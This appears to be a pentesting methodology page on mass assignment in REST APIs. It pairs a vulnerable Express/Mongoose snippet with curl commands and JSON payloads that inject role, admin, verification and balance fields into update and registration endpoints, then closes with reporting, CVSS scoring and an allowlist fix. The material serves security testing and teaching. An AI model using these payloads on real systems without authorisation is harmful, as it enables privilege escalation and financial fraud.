Mass Assignment
Table of Contents
Mass assignment occurs when an API or application automatically binds client-supplied parameters to internal object properties without filtering. The attacker supplies fields the server never intended to accept — role elevation, account verification flags, price overrides, admin status — and the application applies them without question.
Common in REST APIs built on frameworks that map request bodies directly to ORM models (Express/Mongoose, Rails, Spring, Django REST Framework). Particularly prevalent in Node.js/MongoDB stacks where JSON request bodies map directly to document fields.
Related: Insecure Direct Object References OWASP API Security Top 10 API Testing Methodology MERN Stack Authorization Web Application Testing Methodology
1. How It Works
The server exposes an endpoint that accepts a JSON body and passes it directly to a model constructor or ORM update call:
// Vulnerable Express + Mongoose pattern app.put('/api/v1/users/profile', async (req, res) => { // req.body passed directly — attacker controls all fields await User.findByIdAndUpdate(req.user.id, req.body); res.json({ message: 'Updated' }); });
The developer intends only username and email to be updated.
The User model also has role, isVerified, balance fields.
Since req.body is passed wholesale, those fields update too if
supplied.
2. Identification Methodology
Step 1: Find the object schema
The goal is to know what fields exist on the target object beyond what the UI exposes. Sources:
- JS bundle / source maps — model definitions, TypeScript interfaces, GraphQL schemas. See Javascript Recon and Source Analysis.
- API responses — the object returned from GET requests reveals its full field set including read-only fields
- Error messages — validation errors sometimes name fields
- API documentation —
/api-docs,/swagger,/openapi.json
# Step 1a: fetch the object and inspect all fields curl -s http://$IP/api/v1/users/profile \ -H "Authorization: Bearer $TOKEN" \ | python3 -m json.tool # Step 1b: check for swagger/openapi spec for path in /swagger /api-docs /openapi.json /swagger.json \ /api/v1/docs /docs; do code=$(curl -so /dev/null -w "%{http_code}" http://$IP$path) echo "$code $path" done
Step 2: Compare response fields against editable fields
Map what the API returns against what the update endpoint's UI form sends. Any field present in the response but absent from the normal update request is a candidate.
| GET /profile returns | PUT /profile normally sends | Test this? |
|---|---|---|
username |
username |
No — expected |
email |
email |
No — expected |
role |
Yes | |
isAdmin |
Yes | |
isVerified |
Yes | |
balance |
Yes | |
credits |
Yes |
Step 3: Inject candidate fields
Intercept the normal update request in Burp Suite and add the candidate fields to the JSON body:
# Normal update curl -X PUT http://$IP/api/v1/users/profile \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"username":"testuser","email":"test@test.com"}' # With mass assignment payload curl -X PUT http://$IP/api/v1/users/profile \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"username":"testuser","email":"test@test.com","role":"admin"}' # Verify the change took effect curl -s http://$IP/api/v1/users/profile \ -H "Authorization: Bearer $TOKEN" \ | python3 -m json.tool
If the GET response now shows role: "admin", mass assignment is
confirmed.
3. Common Target Fields
These are the highest-value fields to probe on any target. Not all will exist — the schema determines what is testable.
| Field pattern | Impact if writable |
|---|---|
role, userRole, user_role |
Privilege escalation to admin |
isAdmin, admin, is_admin |
Direct admin flag |
isVerified, emailVerified |
Bypass email verification |
balance, credits, wallet |
Financial manipulation |
subscription, plan, tier |
Unlock paid features |
active, status, enabled |
Reactivate suspended accounts |
password (on update endpoint) |
Overwrite another user's cred |
_id, id, userId |
IDOR chain — write to other obj |
4. Registration Endpoint Pattern
Registration endpoints are particularly vulnerable because they accept a full user object by design. The attacker adds privileged fields to the registration body:
# Normal registration curl -X POST http://$IP/api/v1/auth/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","email":"a@a.com","password":"Password1!"}' # Mass assignment on registration curl -X POST http://$IP/api/v1/auth/register \ -H "Content-Type: application/json" \ -d '{ "username":"attacker", "email":"a@a.com", "password":"Password1!", "role":"admin", "isAdmin":true, "isVerified":true }' # Log in and check the resulting profile
This is a critical pattern — always test registration endpoints with elevated fields, not just update endpoints.
5. Nested Object and Array Assignment
Some frameworks allow nested assignment, meaning child objects can also be polluted:
# Flat field -d '{"role":"admin"}' # Nested object — MongoDB dot notation sometimes works -d '{"profile.role":"admin"}' # If the model uses nested objects -d '{"permissions":{"admin":true,"billing":true}}' # Array replacement -d '{"roles":["user","admin","moderator"]}'
6. Classification Guidance
Mass assignment straddles two OWASP API categories:
| OWASP API Category | When it applies |
|---|---|
| API6:2023 Unrestricted Access to | Primary classification — the mechanism |
| Sensitive Business Flows | itself (unfiltered binding) |
| API3:2023 Broken Object Property | Writing to fields that should be |
| Level Authorisation (BOPLA) | read-only or privileged |
Under exam conditions: if the result is privilege escalation (role change, admin flag), classify as Broken Access Control. If the result is financial or business logic manipulation (balance, credits), consider Broken Business Logic or Insecure Design. Default to what the impact demonstrates, not the mechanism.
7. Reporting Template
Finding: Mass Assignment
Severity: High (privilege escalation outcome) / Medium (non-privilege field modification)
Description:
The API endpoint PUT /api/v1/users/profile accepts and applies
arbitrary object properties supplied in the request body without
filtering against an allowlist. By including the role field in
an authenticated update request, a low-privilege user can elevate
their account to administrator without authorisation.
Evidence:
PUT /api/v1/users/profile HTTP/1.1
Host: target.com
Authorization: Bearer <low_priv_token>
Content-Type: application/json
{"username":"testuser","email":"test@test.com","role":"admin"}
HTTP/1.1 200 OK
{"username":"testuser","email":"test@test.com","role":"admin"}
Impact: Any authenticated user can escalate to administrator, gaining full control over the application including access to all user data and administrative functions.
Remediation:
Implement an explicit allowlist of fields permitted in update
operations. In Express/Mongoose, use Schema.pick() or manually
extract only permitted fields from req.body before passing to
the ORM. Never pass req.body directly to model update methods.
// Secure pattern const allowed = ['username', 'email']; const update = Object.fromEntries( Object.entries(req.body).filter(([k]) => allowed.includes(k)) ); await User.findByIdAndUpdate(req.user.id, update);
8. CVSS Indicative Scoring
Privilege escalation to admin via mass assignment:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Base Score: 8.8 (High)
Balance / credit manipulation:
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Base Score: 6.5 (Medium)
Tips
- Always test the registration endpoint as well as update endpoints — it is the most commonly overlooked mass assignment surface and often has the highest impact
- The GET response body is your schema map — read it carefully before crafting your injection payload
- If the API returns a MongoDB
_idfield, try passing a different user's_idin the update body — this chains mass assignment with IDOR for cross-account writes - Confirm the change actually persisted by re-fetching the object after the update — some apps accept the field silently but discard it; you need the GET to prove impact for the report
- In Burp Suite: use the "Add to scope" feature on the update endpoint and enable Intruder with a list of common privileged field names to fuzz systematically